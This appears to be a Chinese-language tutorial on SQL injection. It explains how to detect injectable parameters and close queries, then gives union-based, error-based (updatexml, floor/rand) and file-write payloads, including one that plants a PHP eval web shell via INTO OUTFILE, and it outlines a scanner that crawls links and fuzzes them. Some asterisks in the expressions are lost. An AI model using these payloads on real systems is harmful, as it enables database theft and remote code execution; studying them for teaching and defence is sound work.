什么是 SQL 注入
● 服务器没有严格的校验客户端发送的数据,导致将用户精心构造的数据作为 SQL 语句的一部分执行,从而使数据库信息泄露或被修改。
SQL 注入的发现流程
- 确认目标网页是动态的,网页能够接收用户的参数,并作出不同的反应。
2. 精心的构造一个绝对会导致SQL语句执行出错的参数[‘“()],查看是否有影响。
3. 根据报错信息或以其它方式猜测目标 SQL 指令的结构,【确认闭合的状态】。
如何闭合语句
● 如果有报错,根据报错猜测目标 SQL 指令的完整构成,猜测注入类型(数字\字符)
● 对于 syntax to use near ‘“()’ LIMIT 0,1 ‘ 报错信息,截取出 near 后面的一部分
● 闭合之后,为了让代码正常执行,需要将后面的内容注释掉,使用 — 或者 %
○ 对于 % 不能直接写在 url 中,它会被作为 id 来跳转,应该卸载 url 编码 %23
○ 对于 —,我们推荐使用,注意需要在 — 后面添加空格,可以写作 —+
能够获取什么信息
● 在确认目标网页已经存在注入漏洞,且能够正常闭合后,能够获取以及如何获取哪些重要的信息
● 直接使用 SQL 提供的内置函数获取到数据库的基本信息,例如:
○ database(): 当前应用程序所使用的数据库的名称。
○ version(): 获取当前所使用的数据库的版本,可用于确认数据库类型,找 0DAY。
○ 根据不同类型的数据库,可能会提供不同的用于获取基本信息的函数。
● 数据库都存在配置信息表,其中保存了数据库、表和字段的所有信息
○ 枚举库:
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
○ 枚举表:
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE();
○ 枚举项:
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME=’users’ AND TABLE_SCHEMA=’security’;
如何获取想要的数据
● 使用联合查询注入的过程(有回显)
a. 使用联合查询(union select)或排序(order by)的方式获取目标的字段数量。
■ union select 要求联合查询的两条 SQL 语句查询的字段数量是相同
■ order by 要求指定的需要排序的字段必须是有效的数字或名称
b. 如果网页始终返回仅 1 条数据,则将默认的查询设置为无效查询
■ 联合查询会将两条语句的结果组合成一个结果集
■ 如果原指令查询结果为空,则显示的是自己的查询结果
c. 根据页面反馈的内容,确定哪些字段是可利用字段。
■ 查询的字段并不一定会显示出来,只有看得到的才会被替换。
d. 将第 3 步确定的有效字段修改为想要查询的函数,或子语句进行利用
● 使用产生报错的语句进行注入(有报错)
○ 已知闭合方式后,使用联合查询语句配合函数或指定语句完成利用
○ updatexml(字符串,xpath,字符串) \ extractvalue(字符串, xpath):
■ 函数的作用是查找符合 xpath 语法的子串进行替换。xpath 有规定的格式,如果格式出现了问题,会将出现问题的语句显示在报错信息中。
■ 为了获取想要的信息,需要使用一个必然出错的字符(‘~’ 0x7C) 拼接想要查询的语句,使报错语句中出现查询的结果,例如 updatexml(0, CONCAT(0x7c, (SELECT version())), 0)
○ 使用双注入的方式:
SELECT COUNT() FROM information_schema.columns GROUP BY FLOOR(RAND(0)2);
■ FLOOR(RAND(0)2): 生成指定顺序的 0~1 组成的序列:0110110011101
■ GROUP BY 和 COUNT() 的组合会使用 mysql 中的虚拟表来实现。
第一次判断 FLOOR(RAND(0)2[0] 是否已经存在对应的虚拟表(没有)
使用 FLOOR(RAND(0)2[1] 表达式的结果创建一个虚拟表,并计数
第二次判断 FLOOR(RAND(0)2[1] 是否已经存在对应的虚拟表(有)
将对应的虚拟表计数 +1
第三次判断 FLOOR(RAND(0)2[0] 是否已经存在对应的虚拟表(没有)
使用 FLOOR(RAND(0)2[1] 表达式的结果创建一个虚拟表,并计数
但是表1已经存在了,所以报错
表1: **
0110110011101
○ 报错注入的缺陷:报错的长度不能超过 32 位,所以一次只能获取 32 位数据
and updatexml(0, concat(0x7e, (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES)),0)—+
and updatexml(0, concat(0x7e, substr((SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES), 1, 31)),0)—+
● 使用写入文件的方式注入(开启了权限)
○ 通过设置 mysql 路径下的 ini 文件添加 secure-file-priv= 开启写入文件
○ 语法格式是 SELECT INTO OUTFILE ‘绝对地址’,要求必须是绝对地址
○ 危害:受限任意代码执行漏洞
■ UNION SELECT ‘<?php phpinfo(); ?>’,0,0 into outfile ‘绝对路径’ —+
■ UNION SELECT “<?php @eval($_GET[‘cmd’]); ?>”,0,0 into outfile ‘绝对路径’ —+
SQL注入的常见函数
● GROUP_CONCAT():将查询到的所有指定字段拼接成一个字符串
● CONCAT(): 将制定的普通字符串进行拼接,多用于报错注入
● FLOOR(): 向下取整函数,主要用于舍去小数点部分
● RAND(): 随机数函数,不传参默认初始化随机数种子,为了每一次成功,必须写 0。
● COUNT(): 聚合函数,在分组查询的时候会使用到。
● SUBSTR() \ SUBSTRING: 将指定的字符串进行拆分,报错注入使用较多
SQL 注入漏洞查找工具
- 爬取目标网站的所有页面(站内链接、站外的链接)
○ 使用 re 模块:re.findall(html, ‘href=”.*?”‘),
○ 使用 bs 模块:bs.select(‘a’)
2. 爬取路径的过程中,需要注意
○ 去重,将所有的重复链接去除掉,可以使用 set
○ 注意绝对路径(直接访问)和相对路径(拼接),才能够正常访问
3. 取出每一个链接,进行 FUZZING(枚举)
○ 是否存在布尔注入漏洞,?id=1 and 1 ?id=1 and 0
○ 判断是否有返回内容: 联合查询注入
○ 判断是否有报错信息: 报错注入
○ 进行盲注: 布尔盲注和时间盲注